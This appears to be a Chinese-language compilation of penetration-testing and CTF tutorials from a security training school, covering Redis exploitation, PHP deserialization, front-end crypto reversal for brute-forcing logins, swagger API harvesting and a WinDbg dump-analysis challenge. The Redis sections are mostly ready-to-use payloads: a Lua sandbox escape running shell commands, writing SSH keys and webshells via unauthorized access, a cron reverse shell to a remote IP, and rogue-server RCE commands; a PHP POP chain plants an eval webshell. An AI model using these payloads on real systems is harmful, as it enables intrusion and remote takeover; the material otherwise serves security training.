我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令
代码如下
local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
payload如下
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
local res = f:read("*a"); f:close(); return res' 0
漏洞复现
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");
local res = f:read("*a"); f:close(); return res' 0
这里可以用another redis 这个个管理工具,方便redis数据库使用
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("find / -name
flag*", "r"); local res = f:read("*a"); f:close(); return res' 0
未授权访问redis 未授权访问 (CNVD-2015-07557)
这个未授权访问存在很多,而且面试也很常问,实战也能遇见到。
攻击姿势常见有三种,1写入公钥,2写入webshell,3写入计划任务,当然其中有不少细节,我们需要去掌握。
1.linux写入公钥
利用前提 Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
这里权限不够,这个是vulfocus有问题
满足条件的话可以直接这样,可以自己搭建一个redis环境做实验
具体搭建可参考
https://blog.csdn.net/qq_41210745/article/details/103305262yes要改成no
环境启动,接着
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP
已经成功写入
进入该ubuntu查看 cd /root/.ssh/
尝试SSH连接
ssh -i id_rsa root@192.168.48.133
可以看到成功拿下
2.写入webshell
前提条件,有可写权限,存在web服务,知道web路径
继续用该环境下尝试webshell写入
命令如下
FLUSHALL 使用这个清空之前的配置
前提条件,web目录可以读写
config set dir /tmp 设置WEB写入目录
config set dbfilename test.php 设置写入文件名
set test "<?php phpinfo();?>" 设置写入文件代码
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
换行防止执行失败
bgsave 保存执行
save
chmod -R 777 /var/www/html/
这里设置html尝试写入webshell
3.写计划任务反弹shell
FLUSHALL 记得清空配置
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
环境依然是上面的配置环境
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口
0>&1\n\n\n"
config set dbfilename x
save
set yy "nnn* * * * * bash -i >&
/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"
注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱码,所以导致命令执行失败
可以看到有乱码,ubuntu并未正常执行
主从复制利用
https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell
https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行
redis-rogue-serve
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost
IP
python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
--lhost 192.168.48.132
https://github.com/vulhub/redis-rogue-getshell这里记得要编译
cd RedisModulesSDK/
make
python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "id"
python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*"
实际情况中我们可以灵活运用exp.so文件,不一定非得用脚本,比如这种情况
天翼杯
考点反序列化,redis主从复制RCE代码
<?php
class a{
public $code = "";
function __call($method,$args){
eval($this->code);
}
// function __wakeup(){
// $this->code = "";
// }
}
class b{
function __destruct(){
echo $this->a->a();
}
}
$a=new A();
$b=new B();
$a->code="phpinfo();";
$b->a=$a;
echo
serialize($b);
构造POP链子,可以看到call魔术方法里面有eval函数,那么需要构造链子触发到call魔术方法。
call():当调用对象中不存在的方法会自动调用该方法wakeup()当使用unserialize()反序列化一个对象后,会自动调用该对象的__wakeup方法
这里destruct方法调用了一个不存在的a方法,那么会调用到call方法
因为wakeup方法中$this->code ="";还有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);这里有过滤,所以接下来要做到绕过wakeup和正则,这里利用wakeup的CVE和php对类名大小写不敏感的特性去绕过,A,B换成a,b,其中wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。
如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}绕过wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
这里无法执行system("ls")
蚁剑连接$a->code="eval($_POST["a"]);";
打开之后发现其泄露了redis的密码define("REDIS_PASS","you_cannot_guess_it");蚁剑插件连接上
使用EXP.so文件
MODULE LOAD /var/www/html/exp.so
然后就可以进行命令执行了
若有收获,就点个赞吧。
某后台管理系统加密参数逆向分析
前言
在我们日常的渗透中经常会遇到开局一个登录框的情况,弱口令爆破当然是我们的首选。但是有的网站会对账号密码等登录信息进行加密处理,这一步不由得阻碍了很多人的脚步。前端的加解密是比较常见的,无论是 web 后台还是小程序,都常常存在加解密传输,签名防篡改等机制,会使很多渗透人员没有办法直接对参数的值进行更改,大大增加了攻击者的攻击成本。本文将一个带验证码的后台实站案例与大家分享。
正文
发包逻辑分析:
开局一个登录框,随便输入一段账号密码跟验证码进行抓包
提交错误的验证码跟账号密码弹出了验证码错误!的提示,说明这个数据包就是校验账号密码跟验证码的数据包
查看一下参数,账号,验证码都是明文,密码被加密了
搜索参数关键词password,可以看到一个带有login的js文件,双击进入文件。
在文件内部总共有10个password关键词,全部打上断点发包校验。
断点在196行断了下来,t.param.password是明文。经过Object(i["a"])函数运行之后就成了加密密文。证明Object(i["a"])便是加密函数!后续便是把所有需要拿去爆破的明文加密成密文便可绕过前端加密直接进行暴力破解。
扣加密函数:
进入到加密函数内部查看
可以看到函数内部有个s函数,将断点下到156行,查看传进来的t是什么值,以及经过s函数运行之后的返回值又是什么呢。
t是传进来的明文,返回值是加密之后的值。
观察一下代码,可以看到"93a9"和 "7d92",把代码拉到第一行,这个站点用的webpack打包技术。
那么webpack又是什么呢?
WebPack打包
webpack是一个基于模块化的打包(构建)工具, 它把一切都视作模块
概念:
webpack是 JavaScript 应用程序的模块打包器,可以把开发中的所有资源(图片、js文件、css文件等)都看成模块,通过loader(加载器)和plugins(插件)对资源进行处理,打包成符合生产环境部署的前端资源。所有的资源都是通过JavaScript渲染出来的。
如果一个页面大部分是script标签构成,80%以上是webpack打包。
webpack打包简介
多个JS文件打包:
如果模块比较多,就会将模块打包成JS文件, 然后定义一个全局变量 window["webpackJsonp"] = [ ],它的作用是存储需要动态导入的模块,然后重写 window["webpackJsonp"] 数组的 push( ) 方法为 webpackJsonpCallback( ),也就是说 window["webpackJsonp"].push( ) 其实执行的是 webpackJsonpCallback( ),window["webpackJsonp"].push( )接收三个参数,第一个参数是模块的ID,第二个参数是 一个数组或者对象,里面定义大量的函数,第三个参数是要调用的
寻找加载器
加载器一般是使用call或者apply方法
call() 方法会立即执行这个函数,接受一个多个参数,参数之间用逗号隔开; apply()方法会立即执行这个函数,接受一个包含多个参数的数组;
我们找类似i("1ff3")这种的字眼,然后打断点,刷新页面进断点,一般就可以找到加载器了
断点断下来之后直接进入加载器函数
可以看到d函数里面明显的使用了call函数。
直接全扣整段webpack代码。
定义全局变量调用模块,运行代码
var 君主;
报错windows未定义。直接补上window对象。
var window={};
在导出的模块里面没有寻找到我们需要的“7d92”模块
复制donate~login.06871226.js文件到ide折叠,将其7d92模块复制到我们有加载器的模块数组里面。
调用7d92模块
报错了TypeError: Cannot read properties of undefined (reading 'call')模块缺失的错误。
打印传进去的模块,看看是缺失哪个模块咱们直接补。
缺失1ff3模块
缺失f28c模块
浏览器全局搜索f28c,模块f28c在chunk-vendors.db1c4c0d.js文件里面。
缺失143d模块,143d模块在donate~login.06871226.js文件里面。
后续报错的93a9,ea6a模块也都在donate~login.06871226.js文件里面。
没有报错了,调用当前函数。加密值出来了。
swagger接口未授权怎么玩?
今天来分享下我是如何自动提取 swagger 中配置的 API 接口的,在此之前,先来了解下 swagger 是什么?下面是 chatgpt 的回答:
总结起来就是一套方便开发人员设计、构建 API 的框架,国内外应用非常广泛,大家在日常信息收集的时候经常会遇到这样的系统,比如通过谷歌语法可以轻松找到:
还可以使用网络空间搜索引擎,比如 fofa:
足以看出使用量是非常广泛来,当然,还有很多是隐藏在网站目录中的,需要通过目录枚举来发现这类系统。随便打开一个看看这个系统长什么样:
上图是配置的一些 API 接口信息,点击其中任意一个接口,会有该 API 详细的信息,比如:
手工测试时,可以根据接口的描述,进行针对性的测试,即方便了开发人员,如果存在未授权访问的情况下也方便的攻击者,而我们作为白帽子,这种系统可以扩展我们测试范围,从而发现更多问题。
所以对于企业而言,这种系统,可以设置访问权限,仅限相关开发人员访问,或者将其设置内网访问,尽量不要将其映射至外网,从而降低这类信息比恶意利用的风险。
今天的主要目的是如何通过编写脚本自动化提取其中的接口,从而实现自动化测试,适用于大量目标的测试。
通过查看网站访问的数据包,可以发现所有接口信息是通过 api 返回数据,再通过前端的 javascript 进行格式化成方便操作的页面,所以我们只需要找到那个返回数据的接口,进行分析提取即可,如图:
上面的案例是 openapi 的 3.0 版本,下面是 swagger 2.0 版本:
经过分析,发现,不同版本的格式有略微的差别,所以在做自动化分析的时候,需要根据不同版本做相应的处理。
从上面的案例同样可以看出,返回接口数据的接口不太一样,第一个是 swagger.json,第二个是 swagger-docs,所以在收集这类数据接口的时候,需要指定常见接口名称和路径的字典,从而发现更多可以返回 API 数据的接口。
下面分别以这两个版本的接口作为案例,解析其中的 API,然后在参数部分添加默认值,输出 API 接口列表,从而应用在其他漏洞扫描器中进行漏洞探测。
1、基于 openapi 3.0 版本,提取接口列表
核心其实就是写一个函数将接口数据中的参数增加默认值后输出即可,一个完整的接口配置如图:
其中 statusCode 是路径中的参数,可以将默认值设为 1,get 表示该接口是通过 GET 方法请求,parameters 就是需要配置的接口参数,name 就是参数的名称,schema 就是参数的类型是数字,我们在自动提取的时候,可以根据参数的类型设置默认值,也可以直接都设置成数字,根据自己的需要来。
简单写了一个解析函数,输出的结果如图:
2、基于 swagger 2.0 版本,提取接口列表
方法其实大同小异,只是格式不同而已,解析出的格式如图:
关于参考脚本可以前往【渗透测试那些事儿】知识星球获取,由于代码并不成熟,所以就不公开分享了,互联网上也有同类型的脚本可以参考:
https://github.com/jayus0821/swagger-hack在实现解析单个脚本的能力之后,那么就是如何收集更多类似接口,这里推荐 nuclei 的 POC 模板,也可以根据自己的经验进行添加:
https://github.com/projectdiscovery/nuclei-templates/blob/e6c20a24de75a63b3ce01fd25925aef4604cd34c/http/exposures/apis/swagger-api.yaml#L47
比如我们刚才测试的目标:
第一个目标测试出了一个 js 文件,第二个没有测试出来,说明这个 POC 中配置的字典并不全面,这种情况,自己可以将未收录的路径添加到 POC 中,从而扩展工具的能力。
【WinDbg】学习以及在CTF中解题
1、WinDbg介绍
WinDbg是一款Windows强大的调试器,可以调试0和3环的程序。
在实际开发中,可以调试我们的错误程序,从而定位关键代码,进行程序代码修复。
WinDbg 是一种调试器工具,由微软公司开发,用于分析和调试 Windows 操作系统和应用程序。它提供了强大的调试功能,可以帮助开发人员识别和解决各种软件问题。
以下是 WinDbg 的一些主要特点和功能:
内核级和用户级调试支持: WinDbg 可以用于内核级别的调试(如 Windows 内核、驱动程序等)和用户级别的调试(如应用程序、DLL 等),使开发人员能够全面分析和调试整个系统栈。
符号和源代码支持: WinDbg 可以与符号文件(PDB 文件)结合使用,以获得更详细的调试信息,包括函数名、变量名和源代码行号等。这对于理解和追踪代码执行路径非常有帮助。
调试器扩展: WinDbg 支持通过扩展插件(例如 JavaScript 脚本)来增强其功能。这些扩展可以自定义命令、自动化任务、数据分析等,使调试过程更高效和灵活。
远程调试: WinDbg 支持在远程计算机上进行调试,这对于分析在另一台计算机上发生的问题非常有用。
内存分析: WinDbg 可以帮助分析内存转储文件(如 minidump、完全转储等),以了解程序崩溃或异常终止的原因。
性能分析: WinDbg 提供了一些性能分析工具和命令,可以帮助开发人员识别和解决性能瓶颈问题。
脚本和自动化: WinDbg 具有自己的脚本语言(类似于 JavaScript),允许开发人员编写脚本来执行自动化任务,例如批量调试、数据提取等。
WinDbg 是一款功能强大且灵活的调试器工具,可用于分析和解决各种 Windows 软件问题。它在软件开发、故障排除和性能优化方面都扮演着重要角色,并广泛应用于开发人员和系统管理员的工作中。
2、Windbg安装
Windbg 10需要下载WindowsSDK 然后进行安装即可。
安装这一步属于基础,按照搜索到的步骤进行安装即可
Windbg 10 自带了帮助文档
3、dmp文件介绍
.dmp 文件是一种用于存储系统或应用程序崩溃时的信息的内存映射文件。 dmp 文件通常包含了在崩溃或异常事件发生时系统或应用程序的内部状态信息和堆栈跟踪信息,它们对于诊断问题和进行调试非常有用。
当程序运行到某些重大错误的时候,windows会帮我们生成一个.dmp文件,这里的dmp就是文件进程的内存镜像,可以把程序的执行状态通过调试器保存在其中。
可以使用任务管理器进行生成
创建转储文件,即可生成对应的dmp文件
4、pdb文件介绍
.pdb 文件是用于存储调试信息的程序数据库文件。 pdb 文件包含了有关源代码的符号信息,如变量名称、函数名称、类型信息以及源代码文件和行号的映射。这使得调试器能够将二进制文件中的地址映射回源代码。
5、Windbg基础命令
提供debugger.chm文件(下载安装Windbg10自带)
assets/debugger-20231210184705-cedqbbl.chm 命令已经很全了,这里只总结常用的指令。
windbg的指令分成以下几类
标准命令
元命令
扩展指令
标准命令相当于是内建在windbg中的默认指令。 元命令则是提供给标准指令中没有的指令,调用时开头要加上. 符号。 扩展指令则是用于实现针对特定目标的调试功能,使用前要加上! 符号,其完整的调用格式为:
!nameofExtentModule.nameofExtentCommand 参数
其中如果扩栈模块已经加载了,那么nameofExtentModule. 不是必须的,windbg会直接查找。
5.1 执行、调试相关
dt
The dt command displays information about a local variable, global variable or data type. This can display information about simple data types, as well as structures and unions.
dt命令看可以显示局部变量、全局变量或数据类型的信息。它也可以仅显示数据类型。即结构和联合(union)的信息。
#查看当前线程块
dt _teb
d 查看数据
默认格式如下
d [type] [address range]
d这个命令能够查看指定地址和内存的内容,其中常用的有dd(使用双字节来查看内存内容),如:
dd 77400000
!peb
可以查看当前进程中的peb的基本情况。
bp
The bp, bu, and bm commands set one or more software breakpoints. You can combine locations, conditions, and options to set different kinds of software breakpoints.
指令格式如下
bp <address>
常见的下断点的方式。对应的清除断点的方式为bc num,而列出断点的方法为bl
g
最基本的指令,运行当前程序。
u
将指定的地址反汇编:
u[u|b] address(.表示当前的程序执行地址)uu Address L[Length]
其中uu和ub可以指定当前反汇编的长度(暂时没看出什么区别,似乎是ub的话使用.会自动计算从函数开始的地址进行汇编)。可以使用以下的语法进行长度的指定
使用L表示后面的数字表示的是长度
r
查看当前的寄存器 同时可以修改当前的寄存器,比如说:
r @eax=1
将当前的eax寄存器的值修改成1
ed
ed #
ed [address][content]
将当前的内存修改成指定值 例如
ed 08041000 11111111
将地址08041000处的内容修改成11111111
p
常见指令,单步步过。除此之外还有:
p 2 // 2为步进数目
pc // 执行到下一个函数调用处停下 【Step to Next Call】
pa 7c801b0b // 执行到7c801b0b地址处停下 【Step to Adress】
t
单步步入
k
查看栈帧调用顺序
5.2 调试辅助相关
.sympath
表示当前的符号加载情况。符号能够帮助我们更加方便的分析程序。
.sympath+ D:\Filename
将D:\Filename添加到符号查找的路径中。 关于符号,其中lm 指令可以检查当前的文件中是否加载了符号文件:
deffered:表示延迟绑定
pdb symbols:表示已经加载当前符号
.load
.load dllname
导入指定名字的dll文件,常常用于导入插件
5.3 漏洞利用相关
!py mona
mona 是一个好东西哈,可以用来生成ROP ,查找Gadget ,进行漏洞挖掘等等。
生成ROP Chain
!py mona rop -m "module"
利用module生成ROP Chain
6、实战:windbg分析题目
这里使用了WindbgPreview来分析这道dmp
题目描述:
赛题描述:explorer.exe进程已经被木马感染了,现已经获取explorer.exe进程的dump文件,尝试从DUMP文件中找到flag
打开的效果:
使用第一条命令:
!analyze -v
!analyze -v 是 WinDbg 调试器中的一个命令,用于自动分析崩溃的原因。这个命令会执行一些步骤来帮助你找到崩溃的根本原因,包括输出调用栈、异常信息、可能引起问题的模块以及其他相关信息。
!analyze 是命令,-v表示详细输出的参数
发现没什么信息,尝试使用 命令 lm,列出当前加载的模块
根据题目描述,感觉像是注入了恶意dll
输出了很多结果
这里有个小技巧,加载了对应符号的pdb,可以先排除
这么多dll,怎么分析?
这里再教一个小技巧,系统dll的地址一般都很高。
这里就有一个很可疑的dll
地址这么低,和系统dll的地址显得格格不入
猜测这是可疑dll,使用命令进行分析
start end module name
10000000 1000e000 stolen (deferred)
将光标移动到stolen,windbgpreview会输出一段信息:
或者运行命令: lmv m stolen
lmv m 是 WinDbg 调试器中的一个命令,用于显示指定模块的详细信息。该命令可以帮助你查看模块的基地址、文件名、调试符号等信息。0:030> lmDvmstolen
Browse full module list
start end module name
10000000 1000e000 stolen (deferred)
Image path: C:\Users\Administrator\Desktop\stolen.dll
Image name: stolen.dll
Browse all global symbols functions data
Timestamp: Thu Apr 20 11:33:18 2017 (58F82BFE)
CheckSum: 0000E4F8
ImageSize: 0000E000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
尝试寻找: C:\Users\Administrator\Desktop\stolen.dll
发现没有。。。
在内存中也没有数据,因为还没映射
那么我们就查看整个内存空间布局,看看能不能找到相应的映射数据,(在dll对应的范围内)
!vadump
!vadump 是 WinDbg 调试器中的一个命令,用于显示虚拟地址空间 (Virtual Address Space) 的详细信息。
该命令将输出当前进程的虚拟地址空间中每个 VAD(虚拟地址描述符)的信息。
VAD 是操作系统内核用于管理进程虚拟内存的数据结构之一。
通过使用 !vadump 命令,可以查看每个 VAD 的起始地址、结束地址、保护标志、镜像文件名等信息。
BaseAddress: 10001000
RegionSize: 000062f4
flag如下:
flag{acaa16770db76c1ffb9cee51c3cabfcf}
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

